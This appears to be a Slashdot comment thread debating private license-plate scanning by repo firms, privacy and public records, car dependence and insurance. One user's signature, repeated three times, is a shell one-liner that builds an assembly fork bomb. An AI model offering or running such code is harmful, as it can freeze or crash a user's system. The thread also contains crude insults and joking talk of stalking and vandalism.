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Repo Men Using New Technology To Track Cars
kamapuaa writes "The NY Times has an article about how real-time license plate scanning is changing the car repo business. MVTRAC is one of several companies providing technology to track car license plates automatically, in order to populate private databases. This new tech is used by car repo companies to help banks or other lenders repossess cars; by police to find stolen cars or to locate ticket scofflaws; or really for whatever application MVTRAC and its competitors feel like pursuing, as the new-found industry lacks any kind of government oversight."
...for stalkers.
Time to ban!
What part of "A well regulated militia" do you not understand?
$600/mo ? you could take a webcam and run it through any ocr software and get the same result for less than $600/month.
wtf ?
find my internet girlfriend?
she said she went to school yesterday, but my best friend Mike who says he's in her class didn't see her at all, and that she hasn't taught class all week..
Support FSF: Stop thinking with your wallet, and think with your imagination. (cc/non-commercial)
Aside from parts of NYC, you can't get around any American city without having an automobile. It's almost as necessary to live as water, food, shelter and clothing.
They had this technology twenty years ago. It mainly consisted of Rain Man memorizing license plate numbers.
As a "nosy citizen with enough cash," I have been waiting to find out if the mayor is having an affair by tracking his plates. The ACLU doesn't like it but nobody cares. Or do they?
Pretty dumb question. Like a lot of other things, license plates weren't intended to be this easily accessed for their location and traffic habits. I did a lot of work managing municipal data and one of the concerns is that the ease of access of "public" information is causing a major headache.
For instance, lots of public records were public records because in order to get them you had to go to the court house, fill out a request, pay some money and receive them. Removing the barrier to access by opening certain public records up to electronic access is causing a notable and legitimate concern for privacy where none existed before.. The clear reason is because before it used to require a concerted effort and will as a barrier to entry. When things are made easier it removes the barrier which previously existed as a bulwark that satiated existing privacy concerns.
Speed of information should legitimately be a concern in the digital age where our laws and regulations what is publicly available information just don't adapt well to the modern age.
Plate scanning systems are just a fast way to do what repo folks have been doing for years. They still need to verify the VIN, and in some areas present Claim and Delivery paperwork to repo a vehicle.
Lots of car buyers try to rip off dealers, and instead of working out payments (most dealers would rather have incoming money than a car sitting on the lot) they disappear with the car.
Plate scanners also offer a way to catch uninsured drivers (= "people who don't care if they can pay for the damage they cause when they run into the rest of us) and tax scofflaws.
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
I agree...if you want to drive you need to pay insurance/tax/parking, etc., ie. act like a member of the society you're so happy to leech off. Oh, and pay for the car as well - they catch loads of stolen cars or cars where people don't make payments.
ANPR (Automatic Number Plate Recognition) cameras are widespread in the UK and they definitely get my vote.
No sig today...
"The life of a repo man is always intense."
So? Nobody's denying you the privilege but you have to drive a car you can afford, pay the insurance and park it properly when you arrive.
From what I've seen though, "living within your means" isn't what Americans are best at.
No sig today...
I've long said that we'll lose our privacy to business before we lose it to a totalitarian state. It's pretty obvious that under a laissez-faire system some parties will happily sell information about anyone to other parties public and private who are interested in being Big Brother for reasons of power or profit.
This is happening now with license plates. It's starting to happen with human image recognition, and will likely be pervasive in our lifetimes. It'll start with systems like this, it'll grow through systems in retail establishments -- some enterprising business will pitch them on the idea "Wouldn't it be great if you knew *who* was coming into your store? Let us set you up with a system that not only records and manages your video, but actually cross-references it with an image/identity database." They'll sell it to consumers, too: "Wouldn't it be great if you knew who was coming to your door? Who secondhand guests at your party are?" And now that we have social networks, it'll be even *easier* to bootstrap with a corpus of social tagged photos which are available to, say, anybody who sings up for the Facebook development platform. And of course, they'll eventually make a deal to share data with local, state, and federal governments. Or if that's technically illegal, with the contractors said government outsource photo surveillance functions to.
And you'll need one hell of a disguise something like a Philip Dick's scramble suit in order to move around society anonymously... if such a thing can actually disguise your identifying gesture and movement habits successfully. If you can come up with something that isn't clearly a disguise that would make people suspicious. If such a thing is even allowed by retailers and citizens who *like* knowing who's coming to their door. If they're not illegal in some way, whether by statute or sheer fact that even wearing one looks like probable cause for suspicion to the police.
Tweet, tweet.
Then ride a bike, problem solved. I just don't see the BFD.
Your hair look like poop, Bob! - Wanker.
From what I've seen though, "living within your means" isn't what Americans are best at.
Well, saying what we mean isn't exactly our strong suit either.
Then ride a bike, problem solved. I just don't see the BFD.
How about this. You shed skin cells while you are in public. You shed skin cells on receipts when you sign for things you paid with by credit card. My private company has a right to collect your DNA, match it up to your name, and do whatever it is I want to do with the data.
If you don't want your DNA scraped, don't go into public. Problem solved. I just don't see the BFD.
The automobile is cultural heroin, and countries, as they "modernize", are lining up at the pusher's corner.
I hope they're allowed to part at his corner or they'll end up with another ticket and we'll be right back to where we started again.
From a legal standpoint there is nothing wrong with this. The fact that a vehicle with a certain license number is at a certain location is public information and there is no reasonable assumption of privacy. Anyone walking down the street can gather this information. The use of vehicles and tag scanners just makes it faster. If they were logging license numbers of vehicles in locked garages, private property not visible from the street, etc then there would be an issue as there is an assumption of privacy and laws (B&E, trespassing, etc) would have to be broken to obtain the information.
This service just centralizes what is already done by the parking authority of every major city; ever watch "Parking Wars"? All it does is allows more organizations access to the same database of vehicle locations.
Who is able to obtain this information is a different story. Either by regulation or industry standard this information should only be given to organizations who have a legitimate need for it; repo, law enforcement, etc. It should not be given to every person who wants to track someone else. Stalking is a concern and should be addressed.
The use of public information and technology to catch deadbeats and lawbreakers is not a bad thing.
Why don't you post on /. under your real name?
People who exaggerate are worse than Hitler. I've lived in several non-NY American cities, and visited plenty of others, and got around on public transportation just fine. Sometimes they were big cities, sometimes they were small. Sometimes they were even on the west coast.
Free the Quark 3 from asymptotic confinement! Bring your charm! Don't get down! All colours and flavours welcome!
Driving is pretty much required in the US. Tracking license plate 'location related activity' is analogous to tracking your cell phone's GPS. Just because you're "out in public" doesn't mean your movements should be logged or recorded.
I have nothing to hide, but I'm still not comfortable with someone/government tracking my movements just because they can.
Driving's not a right, but a certain amount of privacy should be, and unless you want a database of where you drive for sale whether you make your automobile payments or not, you should probably be on the side of people who are interested in oversight.
Tweet, tweet.
MVTRAC is simply a tool to speed the process of what is and has been available for over 30 years. MVTRAC users cannot access your license plate information, registration or any other information. The system simply takes information already provided and makes it instantly available at the moment, versus having to dig through paperwork or look something up. Everyone should realize there are and have been legitimate laws governing the sharing of information that disallow both people and companies from accessing information, both public record or otherwise, without satisfying a plethora of criteria.
Why does somebody driving down the (public) road taking a picture of your (public) license plate on your car parked in (public) plain view and comparing it to a list need oversight?
That alone I don't think requires oversight.
What DOES require oversight is the same system, but writing it to a database including current location. Then selling said database to whomever. Your health insurance provider starts scanning it to see how many times you've been seen at Mickey-Ds in the last year. Once a week? Sorry sir, you'll have to pay a higher premium for that.
Or how about the new business called Cyber Stalkers! For only $50 a search we'll tell you the daily traffic patterns of anyone you desire. For only $1000, you can get on the "privacy list" so people with $50 can't see where you've been. (If you'd like to see the where people with the privacy option have been call us for pricing details).
Too outlandish? Never happen because too many would object? Why not a more acceptable service where only "bad" people get reported on. Enter "Strip club search!" For only $20 a search we'll tell you if you're loved one has been at all the local strip clubs (name, dates, locations, and duration). It's OK because it only targets those dirty strip club guys.
There's countless ways an automated system like this can destroy peoples privacy in ways that don't exist right now.
AccountKiller
Thank you, Thomas Hobbes. Any other arbitrary and capricious hoops you would like people to be required to jump through before engaging in ordinary activities?
Yeah, the UK, now there's an example to follow in the realm of privacy.
"Public record" as it applies to a municipality is is different from tag scanning. Am I wrong or can anyone, no matter what the reason, request and be given access to information on the public record? The need for a request is that the information must be gathered by a municipal employee and the reason for fees is to cover the cost of gathering the information. There are many cases in which public record information is put up on web sites and is available at no charge to anyone with an internet connection.
Another difference is that some "public record" information is contained on forms that are submitted to the city and the submitter may think that the city's confidentiality rules would apply to that information. This may constitute reasonable assumption of privacy. On the other hand the information that a vehicle with a certain tag is located and a certain place is plastered on the vehicle and available to anyone looking at that vehicle.
What seeds do you have that are so super with regard to privacy? Are they the ones that grow privacy? ;)
"while democracy seeks equality in liberty, socialism seeks equality in restraint and servitude." de Tocqueville
and from a privacy standpoint that means the law itself is in need of an update.
You can start with "corporations are not people" and therefore the freedoms we protect for humans don't apply to corporations except when we want them to. Any time corporations start doing stuff against the public interest, we can ban it, even if it's something we're free to do as individuals.
And sure, the individuals involved can keep doing that stuff--but then they lose the liability protection that led them to assemble into corporations they way they are now.
Is this super seeding in any way an infringement on Monsanto patents?
People who exaggerate are worse than Hitler.
Yes because everyone knows that engaging in a bit of exaggeration is far, far worse than plunging the world into the most violent conflict of an entire century as well as orchestrating the industrialized murder of millions of innocent people.
Insurance isn't an `arbitrary` hoop. It's a way of ensuring that if you hit my car, you get to pay for it. What's the alternative? The courts of the country being clogged up with loads of civil law suits for every last accident?
right. Like bicycles don't exist. Like you can't move closer to work. If you can't see past anb automobile in your life, you won't have a life to live much past 2025.
Shoes for Industry. Shoes for the Dead.
I think he probably meant to reference Mussolini. He's the one who made public transportation run on time.
Bicycles suck in bad weather, and not everyone can live close to work. If households were all one income (or at least everyone employed had the same employer), you'd need a company town system to manage that. Since they aren't, it's not even possible that way.
I do - MOTHERFUCKER.
My fist name is ANONYMOUS
And my last name is COWARD.
As in Noel. coward. And my parents were stupid fucking hippies who thought it would be cool to name me Anonymous.
Luckily, my middle name is Aloysius. So, my friend call me Al, and a lot of other known me as A. Coward.
Fuckers.
i think the real concern government has about the digital age is the population working out just how much information about them is out there, and getting angry about it where before finding out requried going down to a court house....
If you mod me down, I will become more powerful than you can imagine....
It's almost as necessary to live as water, food, shelter and clothing.
In NJ, PA, NY, CT, CA, and I forget what other state, if you let your own doctor find out during an appointment that you had a seizure or other loss of consciousness, or if someone calls 911 to report one to an ambulance/ER, state law requires the first doctor who finds out to fax the DMV immediately, so they can suspend your license as they would after a long string of DUIs. (He added, with the faintest trace of bitterness.) Specifically, if you get into an accident determined to have stemmed from this then the doctor bears culpability and is on the hook for any damages or casualties that result. I've spent my entire life living in NJ, NY, PA, and CA, and I've been pedestrianized by every single one of them.
Having a reliable warning period of several minutes before seizures makes no difference legally. (This is just continued whining now.) But tactically it makes a huge difference. I managed to hide my condition from the medical community in California for several years. I fibbed to doctors and didn't let them know. If I saw an aura from a rising seizure, I made an immediate exit and found a good place to hide (or I ran outside, into the woods, wherever). This worked pretty well but it all came to an end when I got stuck in a line at Fry's Electronics. I can't even remember what bullshit was in my hands, but it definitely wasn't worth it, especially overpriced Fry's bullshit with tricky return policies and bad support and fucking rebates to mail in. I probably collapsed because my brain was making a desperate attempt to stop the purchase. Now I'm riding a bike six miles to work to get my water, food, shelter etc. Driving is definitely a privilege. So remember as you drive, not all bicyclists are exercising yuppies. Some of us are just fucked.
Wow - it's like you're already following me around and documenting my life. How do you know all this about me anyway? Hmmm?
Sorry by carrying a cell phone does not place a tag on you butt with you name and address. Location information for a cell phone is not available to a person standing next to you but a car license number is available to anyone looking at the car.
Public records must be public. if you don't want a government record to be public don't allow them to make it. Get rid of the licensing scheme and license drivers.
I'd go on a Vegan diet but the delivery time from Vega is too long. --brownkitty
I'm sorry, driving is not a right in the US.
John
Are you sure about that?
That's what all of about three milliseconds of Google time found me.
The higher the technology, the sharper that two-edged sword.
So it doesn't get used by stalkers, jealous ex-whatevers, etc. So it isn't used carelessly by banks such that cars get wrongfully repoed, etc.
Go "eff yourself." I mean really. You may enjoy your European/Chinese/Arab/whatever surveillance society. No doubt Mussolini made the Italian repo men run on time too.
As for me, I would prefer that no one be able to purchase my travel history from a private company. Or any of my medical, personal, credit information for that matter.
As a reporter, I can tell you there are numerous and perfectly ethical reasons why wholesale breaches of privacy are abhorrent to freedom. The least of which is that I certainly don't trust some MVTRAC dumbass employee having his laptop stolen from his car.
"MVTRAC utilizes a centralized database that receives license plate image reads from remote systems in real time via the Internet. The license plate reader systems can be either fixed or mobile, and utilize a wired, Wi-Fi, or Verizon wireless broadband connection. Plate images are stored in the database, and clients can connect using a web browser to manually search for plate sightings."
I was thinking about near-future tech applications a few years back (maybe 2004), and I came up with the idea of mounting belly-cams in commercial jetliners. These could be trained on interstate highways and read license plates in favorable weather. Miami-LAX flights could monitor I-10, Miami-NY could watch I-95, etc. Not much investment or operating expense in exchange for a tremendous amount of near real-time information about who is traveling the long-distance highways.
It isn't "if", it's "when" this tech is deployed. On the one hand, I'd like to have a camera pointed out my front window recording every license tag that passes my house - on the other hand, I'd really rather not be called in for questioning just because I drove by the scene of a crime around the same time it supposedly happened.
Need to take "extraordinary child custody measures"? We can help!
So charge people money for access, and keep a database of who accessed what like the damn credit reporting agencies. Problem solved.
Are you kidding me? The credit system in the U.S. (and its lack of basic security mechanisms, severe privacy issues and overall unaccountability) is a huge, ongoing problem with no resolution in sight. Geez, did you pick a bad example.
The higher the technology, the sharper that two-edged sword.
I recollect that computation, imaging hardware and certain algorithms were considered "munitions". They were banned from export due to their possible use in weapons and as intelligence devices.
This kind of thing is no different. I now see it as a deep incorporation into our civilian domains of military grade technologies. Information age demands an information equivalent of "posse comitatus" and organizations/corporations such as this could be viewed as illegal private militias.
Culturally, we are dangerous fundamentalists, as rabid as any other.. it is just that we see technology as the ultimate saviour and solver of all problems.. it just ain't so.
That Sucks! Really. Not kidding. But, most people don't give a shit. They could give a fuck less if you get run over repeatedly by a BMW. Fuck you for being less than perfect.
Over-the-top Response Guy! Giving "Over-the-Top Responses" since 1970.
...if it is legal to mount your license plate upside down -- and whether it would fool such systems.
Sorry by carrying a cell phone does not place a tag on you butt with you name and address. Location information for a cell phone is not available to a person standing next to you but a car license number is available to anyone looking at the car.
If you're standing next to me then you don't need the cell phone GPS to know where I am, now do you? By your logic tracking the movement of my car by its license plate only tracks the car and not necessarily the owner of the car. Who knows who parked it there? Maybe it was a guy wearing a monkey mask and not me? Maybe it was me wearing a monkey mask?
Not only are the incentives to collect and sell this information already present in the system, arguments such as yours will be convincing to a significant portion of the population and in the framework of the existing legal system. People might *say* they want privacy, but a lot of them aren't willing to pull on the other end of policy/rights/philosophy which are tension with it.
That's why I say this *will* happen. The only alternative is significant and nuanced new laws accompanied with public oversight. And there's simply no coherent philosophy, party, or leadership that's willing to push a robust public agenda in the United States. Even in the name of privacy.
Tweet, tweet.
Yeah, I bought some land in 1998 and had to make repeated trips to the courthouse to research recent sales, ownership histories, etc. It took days and weeks, hundreds of road miles, time off from work, etc. Now we can get the same information from virtually any county in the United States 24/7/365, for free, from our bedroom. Great for us if we ever do another land deal, but you're talking about dropping the "cost" of that information by many orders of magnitude, it has to have messed up the playing field for some people.
We do license drivers. We register vehicles. A licensed driver is supposed to be operating a registered vehicle when on public roads, and that registration requires a certain level of maintenance to hopefully ensure that all those licensed drivers aren't putting us all at undue risk.
It's just some kind of weird historical quirk that the registration tag ( you know, the tag which conspicuously displays the vehicle's registration number..) is so ubiquitously referred to as a "license plate" in common parlance. Obviously you can't license a thing, it makes no sense. License is what you grant a person to do an activity.
Can you be Even More Awesome?!
Yes it is. It's fairly easy to have a pile of money in the bank that is larger than the minimum level of insurance in your state, and if you have that pile of money, why should you be required to bleed it to an insurance company? You should be able to risk your own dough if you want.
Can you be Even More Awesome?!
I think most states allow you to post a bond for the minimum amount in lieu of insurance, the catch being that you don't get interest from your $50k being held.
If I have been able to see further than others, it is because I bought a pair of binoculars.
Why does somebody driving down the (public) road taking a picture of your (public) license plate on your car parked in (public) plain view and comparing it to a list need oversight?
Well, let's say that you're driving from work to some suppliers, then see some customers, then drive out to dinner with someone else. Theoretically, a competitor could put a tail on you and find out where you buy all of your supplies from, who your client list is, and where you like to eat dinner. In practice, though, it's prohibitively expensive to do this to anyone but Steve Jobs.
With automated tracking, people can know what you've been and where you're going. Now they know where you pick up your supplies (and therefore about how much you're paying). Now they know your customers (and can attempt to pick them off). Now they know your favorite restaurant (...not so useful that one). So of course now you have to take more expensive countermeasures, yadda yadda. Your competitors could pay a data warehouse say... 100 dollars per your employee, and get readouts of where they've all gone in the past month. Maybe that lets them figure out a secret ingredient in your special sauce. Maybe they find out that a key person keeps going to swank parts of town, and might be susceptible to being lured away by a bigger salary. Or that someone is cheating on their significant other. Or nothing at all. But none of this would really be considered normal or acceptable business practices.
Maybe the mob pays to track their employees and their employees contacts, to make sure nobody ever gets near a police station. Or crazy people start tracking public officials with the hopes of assassinating them. Or public officials track eachother in the hopes of manufacturing some dirt to use against them. Essentially, it opens up a can of worms that we haven't prepared for. And maybe the only amount of preparation needed is to argue about it for a while and realize that it isn't the end of the world. But that's still a dialog that needs to take place.
The ______ Agenda
What's the alternative? The courts of the country being clogged up with loads of civil law suits for every last accident?
How about this. Insurance is not compulsory but if you have an accident and damage my Porsche and you can't pay you will be butchered and your organs sold at auction to cover the cost. Or maybe converted into an indentured labourer, if my other workers think you'd be more useful that way.
Just brainstorming here.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Pretty dumb question.
It doesn't sound like a dumb question to me. From a legal perspective (in the US), we don't really have a "right to privacy". There are some rights (e.g. prohibition of unreasonable search and seizure) that come close, but they really aren't the same. The law specifically grants a privacy right for some things (e.g. medical information), but it is limited in scope. It could become feasible that for a fee you could collect a complete history of someones driving, phone calls, grocery list, movie rentals. It is reasonable to be concerned about this.
The problem, though, is that there is no legal reason today to prohibit the collection and reselling of this data. The law's view is the same as OverlordQ's question. All of the information involved was public so what is the big deal? The law must be extended to allow prohibitions of this behavior. But how should that law be structured? It seems difficult to structure things so that privacy can be protected without imposing unreasonable restrictions on businesses.
Your GPS position is just a number. I thought we decided back when the AACS key leaked that it was silly for people to complain when numbers were posted on the internet. In fact the Streisand affect clearly applies here - complaining about it just makes the problem worse.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Having worked in government records... I have the opposite opinion. Public records are just becoming truly public for the first time in history. I don't have a problem with this. It's a public record, what exactly do you think you are hiding?
So anyone can find out where you live, how old you are, where you went to school, which hospital you prefer, and what you drive. Big deal. All this information was trivial for anyone to look at before. The only difference is you THOUGHT it was hard. That's not privacy any more than taking bottled water from air travelers is security.
People need to realize that PUBLIC records means FUCKING PUBLIC. However, I don't think that's likely to happen, people have a tough time grasping the concept these days. I wonder if facebook/myspace et all can be held accountable?
There have been companies (like Lexis Nexis) that have been collating and gathering this kind of data for a couple decades. People only just now becoming aware of this does not make it nefarious or dangerous. It wasn't dangerous or nefarious 10 years ago, or twenty. Just because you put computers in the mix, it doesn't become so. Specifically, license plate data is ALREADY COLLECTED by most state DOTs. How? Why? With street view cameras, ostensibly for traffic research and control. However, the point is that the data is ALREADY being collected and used by government agencies. What is the big deal about a few private contractors getting in on it?
Your GPS position is just a number.
GPS is just a number to you or me, but it's a real location someone or some company with a the ability to use those numbers (if my cell phone can show me where I am on a map someone's servers can too). What's to prevent a wireless carrier from selling that location data just like a company tracking license plates can?
Government and law enforcement don't need a warrant to get the info on where you've been. Some wireless carriers even have internet portals to make it as easy as possible.
Sure GPS is just a number - it's the combination to the history of your movements.
For restricted areas, the bus system in Seattle isn't too bad. If you work downtown or near one of the main roads, the bus is preferable to driving (because parking is a pita). You could choose a house or apartment near a bus stop., but most of us can't be picky about where we work, so if that's not near one then you're SOL anyway.
Then ride a bike, problem solved. I just don't see the BFD.
How about this. You shed skin cells while you are in public. You shed skin cells on receipts when you sign for things you paid with by credit card. My private company has a right to collect your DNA, create a clone of you, and do whatever it is I want to do with that clone.
If you don't want your DNA scraped, don't go into public. Problem solved. I just don't see the BFD.
Fixed that to make an even more interesting point.
Now that I think about it, I'm pretty sure everything I just said is completely wrong.
If you think that hitchhiking is a viable solution to transportation then you're a fucking dipshit for multiple reasons that I shouldn't have to explain here.
As for biking, you have to deal with asshole motorists (Actually I don't ride a bike and I fucking hate bicyclists but there ARE a LOT of asshole motorists too)
Rollerblading, skateboarding, scooters (unpowered) aren't allowed on most public sidewalks. It certainly won't work in busy areas simply because there are too many people on the sidewalks.
Mopeds aren't alternative transportation because they're still a powered vehicle. Same goes for powered scooters.
A horse.... are you fucking serious? Might want to bring yourself up to date here because last time I checked there wasn't a hitching post in front of my bank/grocery store/etc.
Public transportation, if you don't live in DC or NY you're fucked there.
A cab costs a LOT of money and isn't a viable solution.
A car IS a necessity depending on where you live. You CANNOT always choose where you live. Maybe you have that luxury but most Americans don't, especially not in this economy. If your company tells you that it's either move to Texas or find a new job, you're moving to Texas because THERE ARE NO OTHER JOBS. If your job moves or the only job you can find requires that you move somewhere then you do not have that ability to choose where you live.
Just because "your boss" and you managed to live without a car over the last 50 years doesn't mean it's a practical choice for EVERYONE ELSE in the current century.
-1 disagree is not a modifier for a reason. -1 troll, flaimbait, redundant, overrated are NOT acceptable substitutes.
Nobody knows WHAT your name is. You apparently claim to be somebody named D Aldredge. But we haven't seen any proof.
What regulations are there regarding putting a tail on someone to follow them everywhere and record their movements, and what restrictions are there on the use of data gathered in that way?
Whatever they are, they should be considered the minimum amount of regulation required.
FGD 135
Oversight by whom? For what purpose?
Yes, we understand. Bureaucrats and the Police just wanna know.
well we've sure set up society in a way that makes it compulsory in order for most people to function. thus most people treat it as a right. it should be. our taxes pay for the road we drive on whether the state deems us worthy of the 'privilege' or not. when the state takes your license/car/whatever, they should give you a second way to get to work at the very least. otherwise, with today's economy being what it is, the next stop that person's going to make is at the welfare office. oh and spare me the 'personal responsibility' sermon. the people who get screwed by scofflaw 'laws' are the ones who are least able to pay up. punishing htem with fines is like punishing a jailed-for-life inmate with more jailtime. past a certain point, it doesn't matter how much is owed because they'll never be able to pay it back. so go ahead, keep cranking up the righteous preaching and the law that goes with it, see how much worse you'll make society for a rapidly increasing percentage of the population.
Naw. Instead I'm just gonna key your Porche. You'll never figure out who I am.
You'd better have secured parking spots anywhere you drive.
Bullshit, movement by any means is a right. License plate and photo card scanners are what you get when you surrender your right. Maybe you think relinquishment is in your best interest, but just because every driver's manual denies that such a right exists, doesn't mean it's true. In my state illegal aliens don't have to read that manual and are usually given a pass if pulled over.
Funny noone gets the repo man comment.
she was canadian
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
just move somewhere mass transportation friendly
but that's already happening: when the real estate market tanked, it was found that the further a house was from mass transportation, the more value it lost
and obama is finally the first president in decades to have the balls and the wisdom to invest in high speed rail, god bless him for that
i think this nations retarded obsession with the automobile and gasoline is finally waning. the hummer finally died last week. hallelujah. there was no greater symbol of the waste arrogance and aggressive isolation of an age i hope is now finally passing. and with that goes the need to secure petroleum production in other parts of the world and all the problems that go with that
hate the us invasion of iraq? hate al qaeda's good funding? stop driving your damn car
you can whine about the world all you want, and how helpless you are about it all, but you're not so helpless. vote with your damn feet, literally. limiting your own contribution to the problems in this world is still well within your control, and driving a car is your contribution to the hellish problems we see in the world today
fuck the age of the automobile. it killed the cores of our cities, it killed our countryside with suburban sprawl and strip malls, it polluted our air, and it isolated us in little metal pods yelling at each other in gridlock on the highway
fuck the automobile, i wish to see the death of the car by my old age. i toast the death of gm, i relish the next oil price shock. death to the automobile age
intellectual property law is philosophically incoherent. it is your moral duty to ignore it or sabotage it
The seller of a vehicle typically requires full disclosure of drivers license info, etc, as part of the transaction if the vehicle is financed. Using technology to locate the vehicle in question merely assists finding it and isn't an intrusion into the life of the driver.
If you don't want auto dealers to have your info, buy cheaper vehicles for cash from a private party. There are lots of other good reasons to do this, like avoiding debt.
"This post is an artistic work of fiction and falsehood. Only a fool would take anything posted here as fact."
Theory and practice. The theory of what is "public" has not changed much, but technology changes the practice in huge ways. And what most people care about, is practice, not theory.
There's two "howevers" for this story, however. First, automobiles are large, powerful, pieces of equipment, and carelessly driven, they hurt hundreds of people every day (and kill about a hundred). Not all of those people are their drivers, and not all the drivers, hang around to accept responsibility when they are involved in a crash (spent a little while in the hospital myself because of a H&R decades ago. We have mandatory liability insurance for automobiles (in most, maybe all states) for a reason. So arguably, we need those licenses, out where we can see them.
Second, it doesn't sound to me like the repo men have much need of public records. If I loan you money so you can buy a car, damn-sure, I am going to know the license, VIN, etc, of that car. I don't a government database.
This does not sound like a compelling case (as "poster child") for privacy rights.
Its tracking my license plate information. Who is to say I didn't lend my car to a friend? I have no way to prove it wasn't me, so I get tarred with whatever my friend did while s/he had the car.
"The first time I got drunk, I got married. The second time I bought a chimpanzee, after that I stayed sober" Arian Seid
The Slashdot username is just as anonymizing, as the license plate number. But if someone — say, an ex-spouse — know your nickname (as the bank or police know your license plate number), they can track you down on Slashdot. And subpoena the last-used IP-address...
License plate numbers are publicly visible and thus, really, ought not to be subject to regulation. It is going to get worse — in a few years the same cameras/computers will be able to pick-out and track our faces just as well as they currently read license plates... But there is nothing you can do about it: our privacy is protected solely by the others' ability to notice and remember . Computers remember everything, so try to avoid being noticed...
Legislation will not help you because a) the government (always the main threat to rights) will be inevitably excepted; and b) there will always be loopholes (just look at WikiLeaks). Information wants to be free...
In Soviet Washington the swamp drains you.
The faster the recovery of stolen property (including the lender-owned vehicles driven by deadbeats), the better.
In the typical theft, the shorter times reduces the chance, the car will be destroyed by the either by the thief — and increases the likelihood of his getting caught. In the lender-deadbeat case, it is good as it reduces the lenders' costs, allowing them to give a slightly better deal to the rest of us, who pay on time...
Efficient and effective law-enforcement is a good thing, generally. Certainly so in this case.
In Soviet Washington the swamp drains you.
How many more examples do people need before realizing that giving the state the power to force people into compulsory handing over of their privacy GUARANTEES that privacy, freedom, and security will be lost. Stop with the collectivist/slave mentality. Read the laws for your state regarding cars, you will be surprised to learned that they only apply to commercial activities, not to individuals traveling from point to point.
"Mexican" isn't a race. It's a nationality. One can't exhibit "racism" towards something that isn't even a race.
Oh for ... just lighten up a little.
Sheesh.
The higher the technology, the sharper that two-edged sword.
In other words, you're fucked up, and you're wrong, but good on you for caring.
I wasn't making any particular claim either way. I just prefer people to think about what they say, rather than just spout what they've been told. Particularly when it comes to legal issues about which very, very few people are even remotely informed. I know I'm not in this case, which is why I just cut & pasted a few links. Glad you enjoyed them.
And hey, thanks for caring.
The higher the technology, the sharper that two-edged sword.
Wow, someone with a modicum of common sense who manages not to see the problem in absolute terms. A rare breed here on /.
Why does somebody driving down the (public) road taking a picture of your (public) license plate on your car parked in (public) plain view and comparing it to a list need oversight?
Because law will not allow me to cover or remove the license plate. It would be like saying it's perfectly fine for a person to take a picture of you through the window in your home, and having a law requiring you to have an open window in every room.
Not everyone thinks homes are fungible.
People who exaggerate are worse than Hitler
People who keep using Hitler analogies are worse than, well, Hitler.
People who exaggerate are worse than Hitler.
Yes because everyone knows that engaging in a bit of exaggeration is far, far worse than plunging the world into the most violent conflict of an entire century as well as orchestrating the industrialized murder of millions of innocent people.
*facepalm* and WHOOOOOOOOOSH!
This, my friend, is why you will never, ever get out of community college.
I'm sorry, driving is not a right in the US.
I pay for roads. It's a right. A revokeable right, but a right nonetheless.
Is my "real name" the name my parents chose to call me, the name the government chooses to call me, or the name I choose for myself?
- RG>
Hey pal, this isn't a pleasantforest, so don't waste my time with pleasantries!
Why even steal it when a criminal could just buy that information from a reseller? There is no law against sharing public information, such as license plate numbers and where they've been sighted.
What is to stop members of the public from setting up a distributed license-plate tracking system, to say, track politicians and government officials, and make said information public?
If you can't beat em, at least make it so they can't make any money doing it.
my real name is blitziod...A. Coward is just my slave name
The only way to bust a doper--is when you yourself become a smoker!
No
You pay to insure your car. You want to play the game, you take the risks, you protect your car, I'll protect mine ... if I want to.
But insurance isn't about protecting your car.
Insurance is the governments solution to not requiring anyone learn to drive. Its how America handles driving tests.
We let anyone drive, even those clearly not cable of doing so, and then stop letting them by making it so they hurt a few people or kill a few people or get in enough other accidents that insurance is so expensive they can't afford it.
If you don't want anyone to hit your car, don't put it on the road.
If you want to be safe while driving, demand real driving tests that require people to actually know how a car works and how to drive.
Insurance has nothing to do with protecting your care and everything to do with the government not being involved and lobbyists for the Insurance companies figuring out a great way to make more money for themselves.
Considering that insurance companies often DO clog up the courts arguing with lawyers over settlement amounts, then I'd say any alternative would be better.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
And watching people move in public spaces is a right.
No one is restricting you while you are moving, they are simply watching you and selling the fact that they saw you to anyone with the money to buy the info.
You need to learn what a right is.
Persistent Volume manager for Kubernetes - https://github.com/dwimsey/openshift-pvmanager
Well the problem here is that you have an expectation of privacy, just like the movie studios had an expectation that copying their stuff was impossible. Or buggy whip manufacturers had expectation that buggy drivers would buy their products. Now when technology changes it's not the government's job to insulate people - at least that's what people here said when the AACS key leaked.
So buggy whip manufacturers and movie studios need to find another business model and your privacy turns out to be an illusion.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Technically, there is not a good reason why people should drive around with a visible license plate. Within 10 years or so, cars will drive a round with a GPS and some module to transmit their location and identification for whichever purposes the government thinks it is needed (usage fees, maintaining traffic laws, etc.). Others will not be able to read location and identification signals.
Easy way to thwart this system would be to cover your plates when you're parked. Assuming 'unplated' vehicles are legally allowed to be parked
09F911029D74E35BD84156C5635688C0
+2 Troll is Slashdot's way of saying groupthink is confused
Which basically means that there was still a problem before, it just flew under the radar. Like "security by obscurity", "security by requiring effort" equals no security at all when somebody's determined to exploit it - it only dissuades those with no real incentive to break it.
Just because you're paranoid doesn't mean there isn't an invisible demon about to eat your face
I'm in the UK. We have driving tests. You have to learn how to drive, and there's a theory element. Still, people drive when they're drunk. They shouldn't, because they're going to drive like a dick (generally) and are more likely to hurt/kill other people. They drive when they're tired. And there are just plain old accidents when someone didn't check before overtaking etc etc.
And insurance is `third party only` - insuring against damage to over people's cars. You can insure against theft, damage you do to your own car, but legally you have to be insured for damage to other people's cars (and other people).
Your rant about lobbyists is off topic - more people accept insurance as a neccesary evil. Like I said, what's the alternative? If you and I have both learned to drive, and I've insured mine, but you've not insured yours, and you hit my car, where do I get the money to pay for the repairs, and/or hospital treatment for someone travelling in my car? Under the UK system, my insurance company would get the money from your insurance company. Under your system....what? You're not seriously suggesting that you can device some driving test which, having passed, guarantees the driver will never have an accident over the next 60 years of driving?
This would of course be equitable if insurance companies weren't allowed to make investments.
There is no reason that somebody with a $100k 401k account should be required to hold auto insurance. They could of course choose to do so if they wanted.
Unfortunately, I don't think this is illegal at all, and that is part of the problem.
